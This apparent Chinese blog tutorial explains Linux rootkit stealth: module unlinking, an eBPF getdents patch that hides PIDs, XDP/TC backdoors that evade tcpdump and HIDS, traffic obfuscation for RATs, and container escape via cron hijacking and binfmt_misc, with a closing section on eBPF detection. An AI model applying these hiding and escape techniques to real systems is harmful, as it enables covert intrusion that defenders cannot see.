理论上讲,不存在毫无痕迹得Rootkit,因为如果毫无痕迹,攻击者就无法控制这个Rootkit,Rootkit的博弈,拼的就是谁对操作系统的底层了解更加深入。
/proc/modules 隐藏
当模块被装载进内核之后,其导出符号会变成内核公用符号表的一部分,可以直接通过 /proc/kallsyms 进行查看:
同时我们可以通过 /proc/modules
查看到我们的 rootkit:
内核模块在内核当中被表示为一个 module
结构体,当我们使用 insmod
加载一个 LKM 时,实际上会调用到 init_module()
系统调用创建一个 module
结构体:
struct module {
enum module_state state;
/* Member of list of modules */
struct list_head list;
//...
多个 module
结构体之间组成一个双向链表,链表头部定义于 kernel/module/main.c
中:
LIST_HEAD(modules);
当我们使用 lsmod
显示已经装载的内核模块时,实际上会读取 /proc/modules
文件,而这实际是通过注册了序列文件接口对 modules 链表进行遍历完成的,同时这套逻辑也被应用于 /proc/kallsyms上:
/* Called by the /proc file system to return a list of modules. */
static void *m_start(struct seq_file *m, loff_t *pos)
{
mutex_lock(&module_mutex);
return seq_list_start(&modules, *pos);
}
static void *m_next(struct seq_file *m, void *p, loff_t *pos)
{
return seq_list_next(p, &modules, pos);
}
static void m_stop(struct seq_file *m, void *p)
{
mutex_unlock(&module_mutex);
}
// m_show 就是获取模块信息,没啥好看的:)
static const struct seq_operations modules_op = {
.start = m_start,
.next = m_next,
.stop = m_stop,
.show = m_show
};
/*
* This also sets the "private" pointer to non-NULL if the
* kernel pointers should be hidden (so you can just test
* "m->private" to see if you should keep the values private).
*
* We use the same logic as for /proc/kallsyms.
*/
static int modules_open(struct inode *inode, struct file *file)
{
int err = seq_open(file, &modules_op);
if (!err) {
struct seq_file *m = file->private_data;
m->private = kallsyms_show_value(file->f_cred) ? NULL : (void *)8ul;
}
return err;
}
static const struct proc_ops modules_proc_ops = {
.proc_flags = PROC_ENTRY_PERMANENT,
.proc_open = modules_open,
.proc_read = seq_read,
.proc_lseek = seq_lseek,
.proc_release = seq_release,
};
static int __init proc_modules_init(void)
{
proc_create("modules", 0, NULL, &modules_proc_ops);
return 0;
}
module_init(proc_modules_init);
因此我们不难想到的是我们可以通过将 rootkit 模块的 module 结构体从双向链表上脱链的方式完成模块隐藏,我们可以通过 THIS_MODULE
宏获取对当前模块的 module
结构体的引用,从而有代码如下:
void a3_rootkit_hide_module_procfs(void)
{
struct list_head *list;
list = &(THIS_MODULE->list);
list->prev->next = list->next;
list->next->prev = list->prev;
}
内核隐藏项目源码diamorphine
断链后
/sys/module 隐藏
sysfs 与 procfs 相类似,同样是一个基于 RAM 的虚拟文件系统,它的作用是将内核信息以文件的方式提供给用户程序使用,其中便包括我们的 rootkit 模块信息,sysfs 会动态读取内核中的 kobject 层次结构并在 /sys/module/
目录下生成文件
Kobject 是 Linux 中的设备数据结构基类,在内核中为 struct kobject
结构体,通常内嵌在其他数据结构中;每个设备都有一个 kobject 结构体,多个 kobject 间通过内核双向链表进行链接;kobject 之间构成层次结构
/// include/linux/kobject.h
struct kobject {
const char *name; /// 名字,可以唯一标识该对象
struct list_head entry; /// 链接到所属的kset
struct kobject *parent; /// 指向父kobject,通常来说,父kobject会内嵌到其他结构体中
struct kset *kset; /// 所属的kset
const struct kobj_type *ktype; /// 用于定义kobject的行为
/// 对应sysfs目录,后续在kobject下添加的文件(比如属性)会放到这个目录,
/// 每个文件也是一个kernfs_node,通过rbtree连接到kobject->sd
struct kernfs_node *sd; /*sysfsdirectory entry */
struct kref kref; /// 引用计数,用于管理kobject的生命周期
#ifdef CONFIG_DEBUG_KOBJECT_RELEASE
struct delayed_work release;
#endif
unsigned int state_initialized:1; /// 是否完成初始化
unsigned int state_in_sysfs:1; /// 是否添加到sysfs中
unsigned int state_add_uevent_sent:1; ///
unsigned int state_remove_uevent_sent:1;///
unsigned int uevent_suppress:1; ///
};
我们可以使用 kobject_del()
函数(定义于 /lib/kobject.c
中)来将一个 kobject 从层次结构中脱离,这里我们将在我们的 rootkit 的 init 函数末尾使用这个函数:
static int __init rootkit_init(void)
{
...
// unlink from kobject
kobject_del(&__this_module.mkobj.kobj);
list_del(&(&__list_module->mkobj.kobj.entry));
return 0;
}
eBPF -- 一把双刃剑
eBPF(Extended Berkeley Packet Filter)是一个强大的编程框架,旨在在 Linux 内核中安全地运行沙盒程序,而无需对内核代码进行修改。
eBPF 程序是事件驱动的,当内核或应用程序通过某个钩子点时运行。预定义的钩子包括系统调用、函数入口/退出、内核跟踪点、网络事件等。
如果预定义的钩子不能满足特定需求,则可以创建内核探针(kprobe)或用户探针(uprobe),以便在内核或用户应用程序的几乎任何位置附加 eBPF 程序。另一方面,跟踪点只能附加到内核或用户空间中的预定义位置。任何时候该函数或地址运行时,eBPF 程序都会被调用,该程序将能够及时检查有关该函数调用和系统的信息。
ebpf Rootkit 的实现
-
bpf_probe_write_user 修改用户空间内存
-
Corrupt syscall output
-
Minor and major page faults
如果内存被换出或未标记为可写,该函数将失败
一条警告消息会打印到内核日志中,说明正在使用该函数。这是为了警告用户程序正在使用具有潜在危险的 eBPF 辅助函数
-
int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
{
// Only patch if we've already checked and found our pid's folder to hide
size_t pid_tgid = bpf_get_current_pid_tgid();
long unsigned int *pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid);
if (pbuff_addr == 0)
{
return 0;
}
// Unlink target, by reading in previous linux_dirent64 struct,
// and setting it's d_reclen to cover itself and our target.
// This will make the program skip over our folder.
long unsigned int buff_addr = *pbuff_addr;
struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;
short unsigned int d_reclen_previous = 0;
bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);
struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr + d_reclen_previous);
short unsigned int d_reclen = 0;
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
// Debug print
char filename[MAX_PID_LEN];
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name);
filename[pid_to_hide_len - 1] = 0x00;
bpf_printk("[PID_HIDE] filename previous %s\n", filename);
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
filename[pid_to_hide_len - 1] = 0x00;
bpf_printk("[PID_HIDE] filename next one %s\n", filename);
// Attempt to overwrite
short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));
// Send an event
struct event *e;
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (e)
{
e->success = (ret == 0);
e->pid = (pid_tgid >> 32);
bpf_get_current_comm(&e->comm, sizeof(e->comm));
bpf_ringbuf_submit(e, 0);
}
bpf_map_delete_elem(&map_to_patch, &pid_tgid);
return 0;
}
-
bpf_override_return 修改返回值
例如,如果你想运行kill -9 ,恶意软件可以将 kprobe 附加到适当的内核函数以处理 kill 信号,返回错误,并有效地阻止系统调用的发生
-
Block syscall
-
Alter syscall return value
-
But syscall was really executed by the kernel !
-
有一个内核构建时选项可以启用它:CONFIG_BPF_KPROBE_OVERRIDE
ALLOW_ERROR_INJECTION它仅适用于使用宏的函数
目前仅支持 x86
它只能与 kprobes 一起使用
-
XDP隐藏流量绕过TCPDUMP
BPF (伯克利包过滤器”(Berkeley Packet Filter))是 Linux 内核中一个非常灵活与高效的类虚拟机(virtual machine-like)组件, 能够在许多内核 hook 点安全地执行字节码(bytecode )。很多 内核子系统都已经使用了 BPF,例如常见的网络(networking)、跟踪( tracing)与安全(security ,例如沙盒)。
XDP 是Linux 内核中提供高性能、可编程的网络数据包处理框架
XDP 的工作模式
XDP 有三种工作模式,默认是 native
(原生)模式,当讨论 XDP 时通常隐含的都是指这 种模式。
-
Native XDP
默认模式,在这种模式中,XDP BPF 程序直接运行在网络驱动的早期接收路径上( early receive path)。 -
Offloaded XDP
在这种模式中,XDP BPF程序直接 offload 到网卡。 -
Generic XDP
对于还没有实现 native 或 offloaded XDP 的驱动,内核提供了一个 generic XDP 选 项,这种设置主要面向的是用内核的 XDP API 来编写和测试程序的开发者,对于在生产环境使用XDP,推荐要么选择native要么选择offloaded模式。
tcpdump这种抓包工具的原理和bpf后门是一样的,也是工作在链路层。所以网卡接收到数据包后,会先经过xdp ebpf后门,然后分别经过bpf后门和tcpdump。
TC 流量控制层
关于hijacking 的一点思考
目前对于防守方的监测主要是主机异常现象 和监测设备的异常 ,对于持久化通信的维持,在受害者主机进行 ebpf xdp 和 tc 的后门能够绕过主机的防火墙的限制,将特定的数据包转换成恶意的通信流量
如果在返回的数据包的内容中进行一部分自定义加密/编码/混淆,解除掉RAT 或者webshell的通信特征,不要直白的返回命令执行的结果,等回传到攻击者主机的时候,在攻击者机器进行ebpf XDP程序解密或去混淆,得到真实回传的恶意请求,可以绕过部分流量监测设备
常规的主机安全防御产品一般用netlink
linux kernel module
等技术实现进程创建、网络通讯等行为感知,而eBPF的hook点可以比这些技术更加深,比他们执行更早,意味着常规HIDS并不能感知发现他
-
Web&命令执行
-
RAT
-
FRP
ebpf docker容器逃逸
内核逃逸
-
内核漏洞:内核漏洞到容器逃逸的本质,就是nsproxy的切换
-
内核特性: 通过hook用户态的进程去完成容器外的命令执行
特性/功能 | 要求 |
---|---|
bpf系统调用 | 拥有CAP_SYS_ADMIN; kernel 5.8开始拥有CAP_SYS_ADMIN或者CAP_BPF |
Unprivileged bpf - “socket filter” like | kernel.unprivileged_bpf_disabled为0或拥有上述权限 |
perf_event_open系统调用 | 拥有CAP_SYS_ADMIN; kernel 5.8开始拥有CAP_SYS_ADMIN或者CAP_PERFMON |
kprobe | 需要使用tracefs; kernel 4.17后可用perf_event_open创建 |
tracepoint | 需要使用tracefs |
raw_tracepoint | kernel 4.17后通过bpf调用BPF_RAW_TRACEPOINT_OPEN即可 |
案例一 : ebpf 实现cron 任务劫持逃逸
CRONTAB 原理
首先先定义了我们熟知的几个路径
#define CRONDIR "/var/spool/cron"
#define SPOOL_DIR "crontabs"
#define SYSCRONTAB "/etc/crontab"
文件检查
if (stat(SYSCRONTAB, &syscron_stat) < OK)
syscron_stat.st_mtim = ts_zero;
/* if spooldir's mtime has not changed, we don't need to fiddle with
* the database.
*
* Note that old_db->mtime is initialized to 0 in main(), and
* so is guaranteed to be different than the stat() mtime the first
* time this function is called.
*/
if (TEQUAL(old_db->mtim, TMAX(statbuf.st_mtim, syscron_stat.st_mtim))) {
Debug(DLOAD, ("[%ld] spool dir mtime unch, no load needed.\n",
(long)getpid()))
return;
}
当mtime 和新的mtime 不一致的时候进入另一个分支,新的mtime取值是 mtime
是 SPOOL_DIR
和 SYSCRONTAB
中的最大值。如果修改了,则记录在new_db中
if (TEQUAL(old_db->mtim, TMAX(statbuf.st_mtim, syscron_stat.st_mtim))) {
Debug(DLOAD, ("[%ld] spool dir mtime unch, no load needed.\n",
(long)getpid()))
return;
}
new_db.mtim = TMAX(statbuf.st_mtim, syscron_stat.st_mtim);
new_db.head = new_db.tail = NULL;
if (!TEQUAL(syscron_stat.st_mtim, ts_zero))
process_crontab("root", NULL, SYSCRONTAB, &syscron_stat,&new_db, old_db);
process_crontab的逻辑是先通过fd查看crontab是否可读取,然后,通过
// tabname = "/etc/crontab"
if ((crontab_fd = open(tabname, O_RDONLY|O_NONBLOCK|O_NOFOLLOW, 0)) < OK) {
/* crontab not accessible?
*/
log_it(fname, getpid(), "CAN'T OPEN", tabname);
goto next_crontab;
}
if (fstat(crontab_fd, statbuf) < OK) {
log_it(fname, getpid(), "FSTAT FAILED", tabname);
goto next_crontab;
}
/* if crontab has not changed since we last read it
* in, then we can just use our existing entry.
*/
if (TEQUAL(u->mtim, statbuf->st_mtim)) {
Debug(DLOAD, (" [no change, using old data]"))
unlink_user(old_db, u);
link_user(new_db, u);
goto next_crontab;
}
通俗理解:cron任务会定时读写,通过hook 让cron检测到文件的更新,当检测到更新时,会触发读取crontabs,最后通过hook 读取文件时候修改内存中的数据
详细原理:
-
hook
sys_enter
获得进程的syscall id,从进程命令行获取对应的文件名(对比是否是cron) -
读取文件
/etc/crontab
或者crontabs
,主要目的是捕获对应的cron进程中判断两个文件名的地方 -
绕过两个TEQUAL,让cron检测到文件的更新
-
修改fstat 返回,只是需要我们先hook
openat
的返回处并保存打开的文件描述符的值 -
最后就是在读取文件信息的时候修改处于进程内存里的返回数据,即hook
read
系统调用返回的时候
binfmt_misc 内核容器逃逸
binfmt_misc是Linux内核的一种功能,它允许识别任意可执行文件格式,并将其传递给特定的用户空间应用程序,如模拟器和虚拟机。它不光光可以通过文件的扩展名来判断的,还可以通过文件开始位置的特殊的字节(Magic Byte)来判断
例如我们可以利用该功能执行.exe程序等
功能使用
使用binfmt_misc 首先要进行如下绑定
mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc
创建一个需要解释器的文件如test, 写入任意字符
echo abcdefg > test
创建解释器
!#/bin/bash
echo test
绑定解释器
echo ':binfmt-test:M::12345678::/usr/local/bin/fake-runner:P' > /proc/sys/fs/binfmt_misc/register
上述格式:name :type :offset :magic :mask :interpreter :flags
1)name:这个规则的名字,理论上可以取任何名字,只要不重名就可以了。但是为了方便以后维护一般都取一个有意义的名字,比如表示被打开文件特性的名字,或者要打开这个文件的程序的名字等;
2)type:表示如何匹配被打开的文件,只可以使用“E”或者“M”,只能选其一,两者不可共用。“E”代表只根据待打开文件的扩展名来识别,而“M”表示只根据待打开文件特定位置的几位魔数(Magic Byte)来识别;
3)offset:这个字段只对前面type字段设置成“M”之后才有效,它表示从文件的多少偏移开始查找要匹配的魔数。如果跳过这个字断不设置的话,默认就是0;
4)magic:它表示真正要匹配的魔数,如果type字段设置成“M”的话;或者表示文件的扩展名,如果type字段设置成“E”的话。对于匹配魔数来说,如果要匹配的魔数是ASCII码可见字符,可以直接输入,而如果是不可见的话,可以输入其16进制数值,前面加上“\x”或者“\x”(如果在Shell环境中的话。对于匹配文件扩展名来说,就在这里写上文件的扩展名,但不要包括扩展名前面的点号(“.”),且这个扩展名是大小写敏感的,有些特殊的字符,例如目录分隔符正斜杠(“/”)是不允许输入的;
5)mask:同样,这个字段只对前面type字段设置成“M”之后才有效。它表示要匹配哪些位,它的长度要和magic字段魔数的长度一致。如果某一位为1,表示这一位必须要与magic对应的位匹配;如果对应的位为0,表示忽略对这一位的匹配,取什么值都可以。如果是0xff的话,即表示全部位都要匹配,默认情况下,如果不设置这个字段的话,表示要与magic全部匹配(即等效于所有都设置成0xff)。还有同样对于NUL来说,要使用转义(\x00),否则对这行字符串的解释将到NUL停止,后面的不再起作用;
6)interpreter:表示要用哪个程序来启动这个类型的文件,一定要使用全路径名,不要使用相对路径名;
7)flags:这个字段可选,主要用来控制interpreter打开文件的行为。比较常用的是‘P’(请注意,一定要大写),表示保留原始的argv[0]参数。这是什么意思呢?默认情况下,如果不设置这个标志的话,binfmt_misc会将传给interpreter的第一个参数,即argv[0],修改成要被打开文件的全路径名。当设置了‘P’之后,binfmt_misc会保留原来的argv[0],在原来的argv[0]和argv[1]之间插入一个参数,用来存放要被打开文件的全路径名。比如,如果想用程序/bin/foo来打开/usr/local/bin/blah这个文件,如果不设置‘P’的话,传给程序/bin/foo的参数列表argv[]是["/usr/local/bin/blah", "blah"],而如果设置了‘P’之后,程序/bin/foo得到的参数列表是["/bin/foo", "/usr/local/bin/blah", "blah"]。
执行跨系统程序
有的上述的信息我们可以利用wine 执行windows exe程序
echo ':DOSWin:M::MZ::/usr/local/bin/wine:' > register
利用dosexec 执行 dos应用
echo ':DEXE:M::\x0eDEX::/usr/bin/dosexec:' > register
自定义handler
容器逃逸思考
条件权限 容器具有 CAP_SYS_ADMIN 权限
通过自定义解析linux常见的特定类型文件如shell,elf文件,等host 主机执行我们所注册的文件时,我们的解释器优先于/bin/bash ,或者elf文件解释器 执行,达到容器逃逸的目的
找到容器挂载点
写一个自己自定义的handler
创建解析/bin/sh的新的解释器指向自己写的handler
主机执行任意sh脚本容器逃逸成功
ebpf 检测Rootkit
ebpf 监测恶意行为,包括网络通信和恶意调用的原理其实和攻击手法原理一样,检测的思路也异曲同工
由于ebpf能够通过钩子挂钩系统调用,因此通过探针安装完成特定系统调用的运行,监测是否异常可以看到是否存在rootkit
检测对系统调用表的劫持
检查系统调用入口指针是否存在于_text(内核内存空间代码段入口)和e_text(内核代码结束)之间,这是绝大部分内核符号所在的地址范围。如果出现系统调用表指向该范围之外的区域(实际上指向一个模块),则有问题
例如劫持getdents 指向 自定义的功能模块
检测命令执行
当在用户执行一个新程序时, sys_execve
执行到search_binary_handler
时, 会调用LSM
的security_bprm_check()
函数检测是否允许继续执行
int search_binary_handler(struct linux_binprm *bprm)
{
...
retval = security_bprm_check(bprm);
if (retval)
return retval;
...
}
针对execve syscall ,security_bprm_check ,sched_process_exec 等位置进行kprobe动态插桩和tracepoint 静态插桩完成检测
-
execve syscall 系统调用
-
security_bprm_check 检查用户是否有权限运行该文件
-
sched_process_exec 每个成功调用系统调用exec()上触发
TRACE_EVENT(sched_process_exec,
TP_PROTO(struct task_struct *p, pid_t old_pid,
struct linux_binprm *bprm),
TP_ARGS(p, old_pid, bprm),
TP_STRUCT__entry(
__string( filename, bprm->filename )
__field( pid_t, pid )
__field( pid_t, old_pid )
),
TP_fast_assign(
__assign_str(filename, bprm->filename);
__entry->pid = p->pid;
__entry->old_pid = old_pid;
),
TP_printk("filename=%s pid=%d old_pid=%d", __get_str(filename),
__entry->pid, __entry->old_pid)
);
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)